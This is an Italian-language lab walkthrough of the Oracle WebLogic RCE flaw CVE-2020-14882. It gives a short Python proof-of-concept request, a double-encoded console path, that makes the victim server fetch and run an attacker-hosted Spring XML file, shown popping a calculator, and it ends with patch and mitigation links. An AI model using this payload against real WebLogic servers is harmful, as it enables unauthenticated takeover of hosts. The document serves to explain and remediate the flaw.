Vulnerabilità RCE in WebLogic - CVE-2020-14882

• Introduzione

CVE-2020-14882 è una falla di esecuzione remota di codice (RCE) nel componente Console di Oracle WebLogic Server. Alla falla pre-autenticazione è stata assegnata una complessità di attacco "bassa" ed è stata evidenziata come "facilmente sfruttabile" da Oracle, con conseguente assegnazione di un punteggio CVSSv3 critico di 9.8. Lo sfruttamento riuscito consentirebbe a un attaccante non autenticato di compromettere il server Oracle WebLogic tramite HTTP e di assumere il controllo completo dell'host. (Ulteriori informazioni - Tenable)

• Gravità del punteggio - CVSS 3 ⚠️

Le versioni supportate interessate sono 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 e 14.1.1.0.0.

Esplorazione - POC ❗

Ambiente 💻

Vittima (WebLogic Server): 192.168.0.15 - Windows 10 PRO con WebLogic Server in esecuzione.
Attaccante (file XML ospitato): 192.168.0.16 - Kali Linux - GNU/Linux - Debian.

1. Come primo passo, creiamo un file Python che sfrutti la vulnerabilità in WebLogic.

Payload:

import requests
url = http://{}:{}/console/images/%252E%252E%252Fconsole.portal' \
		'?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext' \
		'(%22http://192.168.0.16:8000/Documents/teste.xml%22)'.format('192.168.0.15', '7001')
response = requests.get(url)

Questo payload chiamerà una libreria XML del framework Spring per inviare una richiesta a un server nel dominio dell'attaccante cercando il file teste.xml.

2. Dobbiamo preparare il file XML che verrà chiamato dalla vittima. Abbiamo creato una struttura XML standard, ma abbiamo incluso il framework e i campi dei valori sono importanti in questo passaggio perché verranno eseguiti sulla vittima. Per questo esempio, stiamo chiamando il file della calcolatrice di Windows.

3. Sull'host dell'attaccante, dobbiamo creare un server con il file XML che dovrà essere richiesto dalla vittima. Per semplicità, usiamo il nostro server Python http.server.

4. Avvio dell'attacco 🎯. Avviamo lo script dal passaggio 1, In questo passaggio, siamo riusciti a identificare il log delle chiamate al file XML effettuate dalla vittima

5. RCE eseguita con successo 💥. Dal lato della vittima, è possibile visualizzare l'esecuzione remota (RCE) della calcolatrice di Windows

Conclusione

Il 28 ottobre, il ricercatore di sicurezza di nome Jang ha pubblicato un post sul blog (in vietnamita) su CVE-2020-14882, includendo dettagli parziali che potevano essere utilizzati per un PoC. Jang non è nuovo alle vulnerabilità di WebLogic, essendo accreditato per aver scoperto e segnalato CVE-2020-2555 a Oracle, che ha corretto la vulnerabilità nel suo CPU di gennaio 2020. A marzo, Jang ha confermato che CVE-2020-2555 non era stato completamente corretto. Il bypass per CVE-2020-2555 è stato divulgato da un altro ricercatore, Quynh Le del VNPT Information Security Center (ISC). Sia Le che Jang sono accreditati per aver segnalato questo bypass, identificato come CVE-2020-2883. (Ulteriori informazioni - Tenable)

Alcuni link utili per la correzione

• Oracle WebLogic: CVE-2020-14882 : Critical Patch Update (Doc ID 2771503.1). (Supporto Oracle)

• Avviso Oracle Critical Patch Update - Ottobre 2020. (Supporto Oracle)

• Come mitigare l'impatto di CVE-2020-14882 WebLogic. (Supporto Oracle)

• Vulnerabilità nel prodotto Oracle WebLogic Server di Oracle Fusion Middleware. (Mitre - CVE)

Vulnerabilità corretta ✅